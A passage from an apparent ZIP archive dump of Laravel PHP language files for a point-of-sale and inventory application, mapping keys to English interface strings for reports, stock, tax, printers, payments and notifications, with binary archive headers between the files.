Purchase', 'difference_due' => 'Due amount', 'customer' => 'Customers', 'supplier' => 'Suppliers', 'total_due' => 'Due', 'contacts' => 'Supplier & Customer Report', 'contact' => 'Contact', 'stock_report' => 'Stock Report', 'products' => 'Products', 'current_stock' => 'Current stock', 'total_unit_sold' => 'Total unit sold', 'tax_report' => 'Tax Report', 'tax_report_msg' => 'Tax details for the selected date range', 'input_tax' => 'Input Tax', 'output_tax' => 'Output Tax', 'tax_overall' => 'Overall (Input - Output)', 'trending_products' => 'Trending Products', 'apply_filters' => 'Apply Filters', 'filters' => 'Filters', 'expense_report' => 'Expense Report', 'total_expense' => 'Total Expense', 'others' => 'Others', 'all' => 'All', 'top_trending_products' => 'Top Trending Products', 'all_locations' => 'All locations', 'stock_adjustment_report' => 'Stock Adjustment Report', 'total_stock_adjustment' => 'Total Stock Adjustment', 'total_recovered' => 'Total Amount Recovered', 'total_normal' => 'Total Normal', 'total_abnormal' => 'Total Abnormal', 'register_report' => 'Register Report', 'open_time' => 'Open Time', 'close_time' => 'Close Time', 'user' => 'User', 'all_users' => 'All Users', 'sales_representative' => 'Sales Representative Report', 'sales_representative_expenses' => 'All expenses related to the sales representative', 'summary' => 'Summary', 'date_range' => 'Date Range', 'stock_expiry_report' => 'Stock Expiry Report', 'stock_left' => 'Stock Left', 'expired' => 'Expired', 'view_stocks' => 'View Stocks', 'expiring_in_1_week' => 'Expiring in a week', 'expiring_in_15_days' => 'Expiring in 15 days', 'expiring_in_1_month' => 'Expiring in a month', 'expiring_in_3_months' => 'Expiring in 3 months', 'expiring_in_6_months' => 'Expiring in 6 months', 'expiring_in_1_year' => 'Expiring in a year', 'profit_loss' => 'Profit / Loss Report', 'opening_stock' => 'Opening Stock', 'closing_stock' => 'Closing stock', 'total_expense' => 'Total Expense', 'net_profit' => 'Net Profit', 'total_stock_adjustment' => 'Total Stock Adjustment', 'total_stock_recovered' => 'Total Stock Recovered', ]; PK G �Z��� � en/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'reset' => 'Your password has been reset!', 'sent' => 'We have e-mailed your password reset link!', 'throttled' => 'Please wait before retrying.', 'token' => 'This password reset token is invalid.', 'user' => "We can't find a user with that e-mail address.", ]; PK G �Z�F�� � en/unit.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Unit Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Units CRUD operations. | */ 'units' => 'Units', 'manage_your_units' => 'Manage your units', 'all_your_units' => 'All your units', 'name' => 'Name', 'short_name' => 'Short name', 'allow_decimal' => 'Allow decimal', 'added_success' => 'Unit added successfully', 'updated_success' => 'Unit updated successfully', 'deleted_success' => 'Unit deleted successfully', 'add_unit' => 'Add Unit', 'edit_unit' => 'Edit Unit', ]; PK G �Z���j< < en/printer.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Printer Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Printer CRUD operations. | */ 'printers' => 'Printers', 'add_printer' => 'Add Printer', 'name' => 'Printer Name', 'connection_type' => 'Connection Type', 'capability_profile' => 'Capability Profile', 'ip_address' => 'IP Address', 'port' => 'Port', 'path' => 'Path', 'added_success' => 'Printer added successfully', 'manage_your_printers' => 'Manage your Printers', 'all_your_printer' => 'All configured Printers', 'deleted_success' => 'Printer deleted successfully', 'edit_printer_setting' => 'Edit Printer Configuration', 'receipt_printers' => 'Receipt Printers', 'character_per_line' => 'Characters per line', 'printer_name' => 'Printer name', 'updated_success' => 'Printer updated successfully', 'edit_printer' => 'Edit Printer', ]; PK G �ZB���fY fY en/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Enable editing product price from purchase screen', 'sales_commission_agent' => 'Sales Commission Agent', 'sales_commission_agents' => 'Sales Commission Agents', 'disable' => 'Disable', 'logged_in_user' => 'Logged in user', 'select_from_users_list' => "Select from user's list", 'select_from_commisssion_agents_list' => "Select from commission agent's list", 'add_sales_commission_agent' => 'Add sales commission agent', 'commission_agent_added_success' => 'Commission agent added successfully', 'edit_sales_commission_agent' => 'Edit sales commission agent', 'commission_agent_updated_success' => 'Commission agent updated successfully', 'commission_agent_deleted_success' => 'Commission agent deleted successfully', 'contact_no' => 'Contact No.', 'commission_agent' => 'Commission Agent', 'cmmsn_percent' => 'Sales Commission Percentage (%)', 'sales_added' => 'Sales Added', 'sales_with_commission' => 'Sales With Commission', // 'total_sale_with_commission' => 'Total Sale With Commission', 'total_sale_commission' => 'Total Sale Commission', 'sales_item_addition_method' => 'Sales Item Addition Method', 'add_item_in_new_row' => 'Add item in new row', 'increase_item_qty' => 'Increase item quantity if it already exists', 'stock_transfers' => 'Stock Transfers', 'all_stock_transfers' => 'All Stock Transfers', 'add_stock_transfer' => 'Add Stock Transfer', 'list_stock_transfers' => 'List Stock Transfers', 'location_from' => 'Location (From)', 'location_to' => 'Location (To)', 'shipping_charges' => 'Shipping Charges', 'stock_transfer_added_successfully' => 'Stock transfer added successfully', 'stock_transfer_delete_success' => 'Stock transfer deleted successfully', 'stock_transfer_cannot_be_deleted' => "This stock transfer can't be deleted as some of the stocks are already sold", 'total_transfer_shipping_charges' => 'Total Transfer Shipping Charges', 'enable_inline_tax' => 'Enable inline tax in purchase and sell', 'save_n_add_opening_stock' => 'Save & Add Opening Stock', 'add_opening_stock' => 'Add Opening Stock', 'opening_stock_added_successfully' => 'Opening stock added successfully', 'update_n_edit_opening_stock' => 'Update & Edit Opening Stock', 'total_amount_exc_tax' => 'Total Amount (Exc. Tax)', 'currency_symbol_placement' => 'Currency Symbol Placement', 'before_amount' => 'Before amount', 'after_amount' => 'After amount', 'barcode_label_error' => 'Unsupported SKU id for the selected barcode type', 'list_products' => 'List Products', 'list_expenses' => 'List Expenses', 'add_expiry' => 'Add item expiry', 'add_manufacturing_auto_expiry' => 'Add manufacturing date & expiry period', 'tooltip_enable_expiry' => 'Enable product expiry. <br/> <br/><b>Add item expiry</b>: To directly add item expiry only. <br/> <b>Add manufacturing date & expiry period</b>: To add manufacturing date & expiry period and calculate expiry date based on that.', 'quantity' => 'Quantity', 'on_product_expiry' => 'On Product Expiry', 'keep_selling' => 'Keep Selling', 'stop_selling' => 'Stop Selling n days before', 'tooltip_on_product_expiry' => 'Specify action that needs to be done on product expiry. <br><br> <b>Keep Selling</b>: Products will be kept on selling after expiry also. <br> <b>Stop Selling</b>: Stop selling item n days before expiry.', 'output_tax_minus_input_tax' => 'Output Tax - Input Tax - Expense Tax', 'total_purchase_discount' => 'Total Purchase discount', 'total_sell_discount' => 'Total Sell discount', 'updated_succesfully' => 'Updated Successfully', 'default_unit' => 'Default Unit', 'enable_brand' => 'Enable Brands', 'enable_category' => 'Enable Categories', 'enable_sub_category' => 'Enable Sub-Categories', 'enable_price_tax' => 'Enable Price & Tax info', 'enable_purchase_status' => 'Enable Purchase Status', 'tooltip_enable_purchase_status' => 'On disable all purchases will be marked as <i>Item Received</i>', 'recent_product_quantity' => 'Go to product quantity', 'full_screen' => 'Press F11 to go Full Screen', 'Uncategorised' => 'Uncategorised', 'no_products_to_display' => 'No Products to display', 'item_out_of_stock' => 'Product out of stock', 'go_back' => 'Go Back', 'disable_pay_checkout' => 'Disable Multiple Pay', 'disable_draft' => 'Disable Draft', 'disable_express_checkout' => 'Disable Express Checkout', 'hide_product_suggestion' => 'Don\'t show product suggestion', 'hide_recent_trans' => 'Don\'t show recent transactions', 'pos_settings' => 'POS settings', 'disable_discount' => 'Disable Discount', 'disable_order_tax' => 'Disable order tax', 'customer_groups' => 'Customer Groups', 'customer_group' => 'Customer Group', 'all_your_customer_groups' => 'All Customer Groups', 'add_customer_group' => 'Add Customer Group', 'customer_group_name' => 'Customer Group Name', 'calculation_percentage' => 'Calculation Percentage (%)', 'tooltip_calculation_percentage' => '<b>Selling price = Selling price Set For the product + Calculation percentage </b> <br/><br/> You can specify percentage as positive to increase and negtive to decrease selling price.', 'success' => 'Success', 'edit_customer_group' => 'Edit Customer Group', 'customer_groups_report' => 'Customer Groups Report', 'none' => 'None', 'enable_imei_or_sr_no' => 'Enable Product description, IMEI or Serial Number', 'tooltip_sr_no' => 'Enable or disable adding product description, IMEI or Serial number while selling products in POS screen', 'description' => 'Description', 'sell_line_description_help' => 'Add product IMEI, Serial number or other informations here.', 'unit_cost_before_discount' => 'Unit Cost (Before Discount)', 'discount_percent' => 'Discount Percent %', 'profit_margin' => 'Profit Margin %', 'discount_percent' => 'Discount Percent', 'application_tour' => 'Application Tour', 'profile' => 'Profile', 'sign_out' => 'Sign Out', 'my_profile' => 'My Profile', 'Admin' => 'Admin', 'Cashier' => 'Cashier', 'both_supplier_customer' => 'Both (Supplier & Customer)', 'months' => 'Months', 'days' => 'Days', 'suppliers' => 'Suppliers', 'customers' => 'Customers', 'enter_product_name_to_print_labels' => 'Enter products name to print labels', 'manage_product_variations' => 'Manage product variations', 'all_variations' => 'All variations', 'values' => 'Values', 'add_variation' => 'Add Variation', 'variation_name' => 'Variation Name', 'add_variation_values' => 'Add variation values', 'edit_variation' => 'Edit Variation', 'received' => 'Received', 'pending' => 'Pending', 'ordered' => 'Ordered', 'search_product_placeholder' => 'Enter Product name / SKU / Scan bar code', 'fixed' => 'Fixed', 'percentage' => 'Percentage', 'select_location' => 'Select location', 'add_description' => 'Add Description', 'cash' => 'Cash', 'card' => 'Card', 'cheque' => 'Cheque', 'bank_transfer' => 'Bank Transfer', 'other' => 'Other', 'payment' => 'Payment', 'total_items' => 'Total Items', 'total_paying' => 'Total Paying', 'balance' => 'Balance', 'payment_method' => 'Payment Method', 'card_no' => 'Card Number', 'card_holder_name' => 'Card Holder Name', 'card_transaction_no' => 'Card Transaction Number', 'card_type' => 'Card Type', 'month' => 'Month', 'year' => 'Year', 'security_code' => 'Security Code', 'cheque_no' => 'Cheque Number', 'bank_account_number' => 'Bank Account No', 'paid' => 'Paid', 'due' => 'Due', 'partial' => 'Partial', 'no_of_products' => 'Number of products', 'select_a_date_range' => 'Select a date range', 'shortcut_help' => "Shortcut should be the names of the keys separated by '+'", 'example' => 'Example', 'available_key_names_are' => 'Available key names are', 'add_new_product' => 'Add new product', 'invoice_logo_help' => 'Max :max_size, jpeg,gif,png formats only.', 'invoice_logo_help2' => 'Upload only if you want to replace previous logo', 'printer_name_help' => 'Short Descriptive Name to recognize printer', 'char_per_line_help' => 'Number of character that can be printed per line', 'ip_address_help' => 'IP address for connecting to the printer', 'port_help' => 'Most printer works on port 9100', 'combination_of_taxes' => 'Combination of multiple taxes', 'product_purchase_report' => 'Product Purchase Report', 'unit_perchase_price' => 'Unit Purchase Price', 'search_product' => 'Search Product', 'product_sell_report' => 'Product Sell Report', 'unit_sale_price' => 'Unit Sale Price', 'contact_id' => 'Contact ID', 'category_code_help' => 'Category code is same as <b>HSN code</b>', 'sub_heading_line' => 'Sub Heading Line :_number_', 'date_label' => 'Date Label', 'client_id_label' => 'Client ID Label', 'product_label' => 'Product Label', 'qty_label' => 'Quantity Label', 'unit_price_label' => 'Unit Price Label', 'subtotal_label' => 'Subtotal Label', 'product_details_to_be_shown' => 'Product details to be shown', 'show_brand' => 'Show brand', 'show_sku' => 'Show SKU', 'show_cat_code' => 'Show category code or HSN code', 'show_client_id' => 'Show client ID', 'show_time_with_date' => 'Show time with date', 'show_sale_description' => 'Show sale description', 'product_imei_or_sn' => '(Product IMEI or Serial Number)', 'purchase_already_exist' => "Product can't be deleted because purchases related to this product exist", 'opening_stock_sold' => "Product can't be deleted because some stocks are sold", 'stock_adjusted' => "Product can't be deleted because some stocks are adjusted", 'product_delete_success' => 'Product deleted successfully', 'manage_products' => 'Manage your products', 'all_products' => 'All Products', 'login' => 'Login', 'login_to_your' => 'Login to your', 'welcome_back' => 'Welcome Back', 'register' => 'Register', 'username' => 'Username', 'password' => 'Password', 'remember_me' => 'Remember Me', 'forgot_your_password' => 'Forgot Your Password?', 'reset_password' => 'Reset Password', 'email_address' => 'E-Mail Address', 'send_password_reset_link' => 'Send Password Reset Link', 'instructions' => 'Instructions', 'instruction_line1' => 'Follow the instructions carefully before importing the file.', 'instruction_line2' => 'The columns of the file should be in the following order.', 'col_no' => 'Column Number', 'col_name' => 'Column Name', 'instruction' => 'Instruction', 'required' => 'Required', 'optional' => 'Optional', 'name_ins' => 'Name of the product', 'brand_ins' => 'Name of the brand', 'brand_ins2' => 'If not found new brand with the given name will be created', 'unit_ins' => 'Name of the unit', 'category_ins' => 'Name of the Category', 'category_ins2' => 'If not found new category with the given name will be created', 'sub_category_ins' => 'Name of the Sub-Category', 'sub_category_ins2' => 'If not found new sub-category with the given name under the <br> parent Category will be created', 'sku_ins' => 'Product SKU. If blank an SKU will be automatically generated', 'barcode_type_ins' => 'Barcode Type for the product.', 'barcode_type_ins2' => 'Currently supported', 'default' => 'Default', 'manage_stock_ins' => 'Enable or disable stock managemant', 'alert_qty_ins' => 'Required if Manage Stock is 1', 'expires_in_ins' => 'Product expiry period (Only in numbers)', 'expire_period_unit' => 'Expiry Period Unit', 'available_options' => 'Available Options', 'expire_period_unit_ins' => 'Unit for the expiry period', 'applicable_tax_ins' => 'Name of the Tax Rate', 'variation_name_ins' => 'Required if product type is variable', 'variation_name_ins2' => 'Name of the variation (Ex: Size, Color etc )', 'variation_values_ins' => 'Required if product type is variable', 'variation_values_ins2' => "Values for the variation separated with '|' <br> (Ex: Red|Blue|Green)", 'purchase_price_inc_tax' => 'Purchase Price (Including Tax)', 'purchase_price_inc_tax_ins1' => 'Required if Purchase Price Excluding Tax is not given', 'purchase_price_inc_tax_ins2' => "Purchase Price (Including Tax) (Only in numbers)<br><br>For variable products '|' separated values with <br>the same order as Variation Values <br>(Ex: 84|85|88)", 'purchase_price_exc_tax' => 'Purchase Price (Excluding Tax)', 'purchase_price_exc_tax_ins1' => 'Required if Purchase Price Including Tax is not given', 'purchase_price_exc_tax_ins2' => "Purchase Price (Excluding Tax) (Only in numbers)<br><br>For variable products '|' separated values with <br>the same order as Variation Values <br>(Ex: 84|85|88)", 'profit_margin_ins' => 'Profit Margin (Only in numbers)', 'profit_margin_ins1' => 'If blank default profit margin for the <br> business will be used', 'selling_price' => 'Selling Price', 'selling_price_ins' => 'Selling Price (Only in numbers)', 'selling_price_ins1' => 'If blank selling price will be calculated <br>with the given Purchase Price <br>and Applicable Tax ', 'opening_stock' => 'Opening Stock', 'opening_stock_ins' => 'Opening Stock (Only in numbers)', 'only_applicable_to_single_product' => 'Only applicable to single product', 'purchase_delete_success' => 'Purchase deleted successfully', 'location_ins' => 'If blank first business location will be used', 'location_ins1' => 'Name of the business location', 'expiry_date' => 'Expiry Date', 'expiry_date_ins' => 'Stock Expiry Date <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'Enable Lot number', 'tooltip_enable_lot_number' => 'This will enable you to enter Lot number for each purchase line in purchase screen', 'lot_number' => 'Lot Number', 'enable_racks' => 'Enable Racks', 'tooltip_enable_racks' => 'Enable this to add rack details of a product for different business locations while adding products', 'rack_details' => 'Rack/Row/Position Details', 'tooltip_rack_details' => 'Enter details of where the product is kept in the store, for different business locations.', 'updated_success' => 'Updated Successfully', 'added_success' => 'Added Successfully', 'deleted_success' => 'Deleted Successfully', 'enable_disable_modules' => 'Enable/Disable Modules', 'opening_stock_help_text' => "<br><br>For variable products separate stock quantities with '|' <br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>If purchase Price (Excluding Tax) is not same as <br/>Purchase Price (Including Tax) <br/>then you must supply the tax rate name.', 'sale_delete_success' => 'Sale deleted successfully', 'click_to_edit' => 'Click to edit', 'click_to_delete' => 'Click to delete', 'quotation_heading' => 'Quotation Heading', 'quotation' => 'Quotation', 'quotation_no_prefix' => 'Quotation no. label', 'tooltip_quotation_heading' => 'Quotation or Estimates heading is used while providing quotation to customers.', 'quotation_added' => 'Quotation added successfully', 'quotation_updated' => 'Quotation updated successfully', 'product_sold_details_register' => 'Details of products sold', 'grand_total' => 'Grand Total', 'change_return' => 'Change Return', 'date_format' => 'Date Format', 'time_format' => 'Time Format', '12_hour' => '12 Hour', '24_hour' => '24 Hour', 'list_quotations' => 'List quotations', 'list_drafts' => 'List Drafts', 'you_cannot_delete_this_contact' => 'Cannot delete the contact - Transactions already exist for the contact.', 'enable_row' => 'Enable Row', 'enable_position' => 'Enable Position', 'rack' => 'Rack', 'row' => 'Row', 'position' => 'Position', 'weight' => 'Weight', 'rack_help_text' => "Rack details seperated by '|' for different business locations serially.<br/> (Ex: R1|R5|R12) ", 'row_help_text' => "Row details seperated by '|' for different business locations serially.<br/> (Ex: ROW1|ROW2|ROW3) ", 'position_help_text' => "Position details seperated by '|' for different business locations serially.<br/> (Ex: POS1|POS2|POS3) ", 'import_opening_stock' => 'Import Opening Stock', 'tooltip_import_opening_stock' => 'This feature is used to import opening stock of already added products. If the products are not added in the system then it is advisable to use import products for adding product details with opening stock.', 'design' => 'Design', 'express_checkout_cash' => 'Cash', 'express_checkout_card' => 'Card', 'checkout_multi_pay' => 'Multiple Pay', 'tooltip_checkout_multi_pay' => 'Checkout using multiple payment methods', 'tooltip_express_checkout_card' => 'Express checkout using card', 'card_transaction_details' => 'Card transaction details', 'client_tax_label' => 'Client tax number label', 'cat_code_label' => 'Category or HSN code label', 'list_sell_return' => 'List Sell Return', 'sell_return' => 'Sell Return', 'layout_credit_note' => 'Credit Note / Sell Return Details', 'cn_heading' => 'Heading', 'cn_no_label' => 'Reference Number', 'cn_amount_label' => 'Total Amount', 'custom_field' => 'Custom Field :number', 'website' => 'Website', 'total_credit_amt' => 'Total Credit Amount', 'unit_sell_price' => 'Unit Sell Price', 'prefixes' => 'Prefixes', 'purchase_order' => 'Purchase Order', 'stock_transfer' => 'Stock Transfer', 'purchase_payment' => 'Purchase Payment', 'sell_payment' => 'Sell Payment', 'location_id' => 'Location ID', 'add_edit_opening_stock' => 'Add or edit opening stock', 'expiry_date_will_be_changed_in_pl' => 'Expiry date of the purchase line will be changed', 'remove_from_stock' => 'Remove from stock', 'stock_removed_successfully' => 'Stock removed successfully', 'product_image' => 'Product image', 'aspect_ratio_should_be_1_1' => 'Aspect ratio should be 1:1', 'previous_image_will_be_replaced' => 'Previously uploaded image will be replaced', 'all_category' => 'All Categories', 'all_brands' => 'All Brands', 'backup' => 'Administer Backup', 'download_complete_backup' => 'Download complete backup', 'backup_doesnt_exist' => "Backup Doesn't exist", 'lot_report' => 'Lot Report', 'purchase_payment_report' => 'Purchase Payment Report', 'paid_on' => 'Paid on', 'purchase' => 'Purchase', 'cheque_no' => 'Cheque No.', 'card_transaction_no' => 'Card Transaction No.', 'bank_account_no' => 'Bank Account No.', 'sell_payment_report' => 'Sell Payment Report', 'restaurant' => 'Restaurant', 'user_type' => 'User type', 'business_inactive' => 'Sorry, your business is inactive!!', 'product_custom_field1' => 'Custom Field1', 'product_custom_field2' => 'Custom Field2', 'product_custom_field3' => 'Custom Field3', 'product_custom_field4' => 'Custom Field4', 'image' => 'Image', 'image_help_text' => 'Image name with extension.<br/> (Image name must be uploaded to the server :path )', 'tooltip_kitchen' => 'This is the kitchen screen. Here order details can be viewed and orders can be marked as cooked.', 'tooltip_serviceorder' => 'This is the service Staff screen. Service Staff can use this screen to view all orders for them and mark order as served.', 'sales_person_label' => 'Sales Person Label', 'show_sales_person' => 'Show Sales Person', 'decimal_value_not_allowed' => 'Decimal value not allowed', 'theme_color' => 'Theme Color', 'quantity_error_msg_in_lot' => 'Only :qty :unit available in the selected Lot', 'show_product_expiry' => 'Show product expiry', 'show_lot_number' => 'Show lot number', 'expiry' => 'Expiry', 'lot' => 'Lot', 'lot_n_expiry' => 'Lot & Expiry', 'pos_edit_product_price_help' => 'Edit product Unit Price and Tax', 'name' => 'Name', 'payment_type' => 'Payment Type', 'manage_payment_account' => 'Manage Your Payment Account', 'all_payments' => 'All Payments', 'payment_note' => 'Payment Note', 'payment_account_deleted_success' => 'Payment account deleted successfully', 'payment_account_updated_success' => 'Payment account updated successfully', 'payment_gateway' => 'Online Payment Gateway', 'payment_account_success' => 'Payment account added successfully', 'payment_account' => 'Payment Account', 'tooltip_sell_product_column' => 'Click <i>product name</i> to edit price, discount & tax. <br/>Click <i>Comment Icon</i> to enter serial number / IMEI or additional note.<br/><br/>Click <i>Modifier Icon</i>(if enabled) for modifiers', 'credit_limit' => 'Credit Limit', 'credit_limit_help' => 'Keep blank for no limit', 'cutomer_credit_limit_exeeded' => 'Customer Credit Limit Exceeded <br>:credit_limit', 'custom_payment_1' => 'Custom Payment 1', 'custom_payment_2' => 'Custom Payment 2', 'custom_payment_3' => 'Custom Payment 3', 'transaction_no' => 'Transaction No.', 'file' => 'File', 'size' => 'Size', 'date' => 'Date', 'age' => 'Age', 'create_new_backup' => 'Create New Backup', 'all_sales' => 'All Sales', 'opening_balance' => 'Opening Balance', 'opening_balance_due' => 'Opening Balance Due', 'import_contacts' => 'Import Contacts', 'contact_type_ins' => '<strong>Available Options: customer, supplier & both</strong>', 'contact_id_ins' => 'Leave blank to auto generate Contact ID', 'required_if_supplier' => 'Required if contact type is supplier or both', 'pay_term_period_ins' => 'Available Options: days and months', 'your_username_will_be' => 'Your username will be', 'currency_exchange_rate' => 'Currency Exchange Rate', 'select_all' => 'Select all', 'deselect_all' => 'Deselect all', 'duplicate_product' => 'Duplicate Product', 'delete_selected' => 'Delete Selected', 'no_row_selected' => 'No row selected', 'duplicate_sell' => 'Duplicate Sell', 'duplicate_sell_created_successfully' => 'Duplicate Sell created successfully', 'modules' => 'Modules', 'theme' => 'Theme', 'account' => 'Account', 'expense_payment' => 'Expense Payment', 'expense' => 'Expense', 'disabled_in_demo' => 'Feature disabled in demo!!', 'selling_price_group' => 'Selling Price Group', 'all_selling_price_group' => 'All Selling Price Group', 'add_selling_price_group' => 'Add Selling Price Group', 'edit_selling_price_group' => 'Edit Selling Price Group', 'access_selling_price_groups' => 'Access selling price groups', 'save_n_add_selling_price_group_prices' => 'Save & Add Selling-Price-Group Prices', 'add_selling_price_group_prices' => 'Add or edit Group Prices', 'default_selling_price_inc_tax' => 'Default Selling Price (Inc. Tax)', 'variation' => 'Variation', 'price_group' => 'Price Group', 'group_price' => 'Group Price', 'default_selling_price' => 'Default Selling Price', 'price_group_help_text' => 'Selling Price Group in which you want to sell', 'group_prices' => 'Group Prices', 'view_group_prices' => 'View group prices', 'save_n_add_another' => 'Save And Add Another', 'update_n_add_another' => 'Update And Add Another', 'subtotal_editable' => 'Subtotal Editable', 'subtotal_editable_help_text' => 'Check this to make Subtotal field editable for each product in POS screen', 'notification_templates' => 'Notification Templates', 'new_sale' => 'New Sale', 'payment_reminder' => 'Payment Remider', 'payment_received' => 'Payment Received', 'new_booking' => 'New Booking', 'new_order' => 'New Order', 'payment_paid' => 'Payment Paid', 'items_received' => 'Items Received', 'items_pending' => 'Items Pending', 'customer_notifications' => 'Customer Notifications', 'supplier_notifications' => 'Supplier Notifications', 'email_subject' => 'Email Subject', 'email_body' => 'Email Body', 'sms_body' => 'SMS Body', 'available_tags' => 'Available Tags', 'send_notification' => 'Send Notification', 'new_sale_notification' => 'New Sale Notification', 'send_email_only' => 'Send Email Only', 'send_sms_only' => 'Send SMS Only', 'send_both_email_n_sms' => 'Send Both Email & SMS', 'to' => 'To', 'mobile_number' => 'Mobile Number', 'send' => 'Send', 'notification_sent_successfully' => 'Notification sent successfully', 'payment_received_notification' => 'Send Payment Received Notification', 'send_payment_reminder' => 'Send Payment Remider', 'new_order_notification' => 'New Order Notification', 'item_received_notification' => 'Items Received Notification', 'item_pending_notification' => 'Items Pending Notification', 'payment_paid_notification' => 'Payment Paid Notification', 'mail_host' => 'Host', 'mail_port' => 'Port', 'mail_username' => 'Username', 'mail_password' => 'Password', 'mail_encryption' => 'Encryption', 'mail_from_address' => 'From Address', 'mail_from_name' => 'From Name', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Email Settings', 'sms_settings' => 'SMS Settings', 'send_to_param_name' => 'Send to parameter name', 'msg_param_name' => 'Message parameter name', 'sms_settings_param_key' => 'Parameter :number key', 'sms_settings_param_val' => 'Parameter :number value', 'sending' => 'Sending', 'request_method' => 'Request Method', 'purchase_return' => 'Purchase Return', 'return_quantity' => 'Return Quantity', 'return_subtotal' => 'Return Subtotal', 'quantity_left' => 'Quantity Remaining', 'return_total' => 'Return Total', 'total_return_tax' => 'Total Return Tax', 'purchase_return_added_success' => 'Purchase return added successfully', 'list_purchase_return' => 'List Purchase Return', 'all_purchase_returns' => 'All Purchase Returns', 'parent_purchase' => 'Parent Purchase', 'purchase_return_details' => 'Purchase Return Details', 'return_date' => 'Return Date', 'parent_sale' => 'Parent Sale', 'sell_quantity' => 'Sell Quantity', 'total_return_discount' => 'Total Return Discount', 'sell_return_details' => 'Sell Return Details', 'sell_details' => 'Sale Details', 'return_discount' => 'Return Discount', 'total_unit_transfered' => 'Total Unit Transfered', 'total_unit_adjusted' => 'Total Unit Adjusted', 'return_exist' => 'Return exist for the Transaction, edit the return instead.', 'synced_from_woocommerce' => 'Synced from Woocommerce', 'available_stock_expired' => ' OR available stock has expired.', 'sell_payments' => 'Permission to Add/Edit/Delete Payments in List Sells / List POS screen.', 'purchase_payments' => 'Permission to Add/Edit/Delete Payments in List Purchases.', 'sell.payments' => 'Add/Edit/Delete Payments', 'purchase.payments' => 'Add/Edit/Delete Payments', 'view_payment' => 'View Payment', 'card_number' => 'Card No.', 'transaction_number' => 'Transaction Number', 'card_holder_name' => 'Card holder name', 'card_number' => 'Card number', 'card_transaction_number' => 'Card transaction No', 'cheque_number' => 'Cheque number', 'commsn_percent_help' => "Used only if Sales Commission Agent Type setting is: 'Logged In user' or 'Select from users list'", 'max_amount_to_be_paid_is' => 'Maximum amount is :amount', 'adjusted_for' => 'Adjusted For', 'some_qty_returned' => 'Some quantities are returned from this purchase', 'total_purchase_return' => 'Total Purchase Return', 'total_purchase_return_paid' => 'Total Purchase Return Paid', 'total_purchase_return_inc_tax' => 'Total Purchase Return Including Tax', 'purchase_sell_report_formula' => 'Overall (Sale - Sale Return - Purchase - Purchase Return)', 'purchase_return_due' => 'Purchase Return Due', 'total_purchase_return_due' => 'Total Purchase Return Due', 'receive_purchase_return_due' => 'Receive Purchase Return Due', 'some_qty_returned_from_sell' => 'Some quantities are returned from this sale', 'sell_due' => 'Sell Due', 'sell_return_due' => 'Sell Return Due', 'total_sell_return_due' => 'Total Sell Return Due', 'pay_sell_return_due' => 'Pay Sell Return Due', 'total_sell_return' => 'Total Sell Return', 'total_sell_return_paid' => 'Total Sell Return Paid', 'total_sell_return_inc_tax' => 'Total Sell Return Including Tax', 'tooltip_columnize_taxes_heading' => 'Enter tax name for headings, heading should be present in tax name. For example headings can be: CGST, SGST, IGST & CESS. For tax names CGST@8% or CGST@10%; SGST@10% or SGST@8% etc', 'sales_payment_dues' => 'Sales Payment Due', 'purchase_payment_dues' => 'Purchase Payment Due', 'tooltip_sales_payment_dues' => "Pending payment for Sales. <br/><small class='text-muted'>Based on invoice pay term. <br/> Showing payments to be received in 7 days or less.</small>", 'edit_product_price_from_sale_screen' => 'Edit product price from sales screen', 'edit_product_discount_from_sale_screen' => 'Edit product discount from Sale screen', 'autosend_email' => 'Auto Send Email', 'autosend_sms' => 'Auto Send SMS', 'enable_selected_contacts' => 'Restrict Selected contacts', 'tooltip_enable_selected_contacts' => 'Restrict access to selected contacts in sells/purchase customer/supplier search box', 'selected_contacts' => 'Select Contacts', 'view_role' => 'View role', 'delete_role' => 'Delete role', 'mail_driver' => 'Mail Driver', 'disable_suspend_sale' => 'Disable Suspend Sale', 'suspend' => 'Suspend', 'suspend_note' => 'Suspend Note', 'suspend_sale' => 'Suspend Sale', 'view_suspended_sales' => 'View Suspended Sales', 'suspended_sales' => 'Suspended Sales', 'tooltip_suspend' => 'Suspend Sales (pause)', 'business_telephone' => 'Business contact number', 'accept_terms_and_conditions' => 'Accept Terms & Conditions', 'terms_conditions' => 'Terms & Conditions', 'select_base_unit' => 'Select base unit', 'times_base_unit' => 'times base unit', 'multi_unit_help' => 'Define this unit as the multiple of other units <br><strong>Ex: 1 dozen = 12 pieces</strong>', 'add_as_multiple_of_base_unit' => 'Add as multiple of other unit', 'product_description' => 'Product Description', 'click_here' => 'Click here', 'for_more_info' => 'for more info', 'username_help' => 'Leave blank to auto generate username', 'status_for_user' => 'Is active ?', 'tooltip_enable_user_active' => 'Check/Uncheck to make a user active/inactive.', 'user_inactive' => 'Sorry, account is inactive', 'calculator' => 'Calculator', 'fields_for_customer_details' => 'Fields for customer details', 'show_previous_bal_due' => 'Show total balance due (All sales)', 'previous_bal_due_help' => 'Check this field to show sum of balance dues for all sales of the customer if exists', 'all_sales' => 'All sales', 'current_sale' => 'Current sale', 'view_invoice_url' => 'Invoice URL', 'copy' => 'Copy', 'extra_tags' => 'Extra tags', 'date_time_format' => 'Date time format', 'date_time_format_help' => "Enter date and time format in <a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP datetime format</a>. If blank business date time format will be applied", 'all' => 'All', 'detailed' => 'Detailed', 'grouped' => 'Grouped (By Date)', 'disable_recurring_invoice' => 'Disable Recurring Invoice', 'is_recurring' => 'Is Recurring', 'recurring_invoice_help' => 'If subscribed this invoice will be automatically generated at regular intervals.<br>You can disable this feature in <code>Settings > Business Settings > Modules</code>', 'recurring_invoice' => 'Recurring Invoice', 'years' => 'Years', 'no_of_repetitions' => 'No. of Repetitions', 'recur_repetition_help' => 'If blank invoice will be generated infinite times', 'recurring_invoice_message' => 'New Invoice generated for Subscription no.:<i>:subscription_no</i>, Invoice no.: 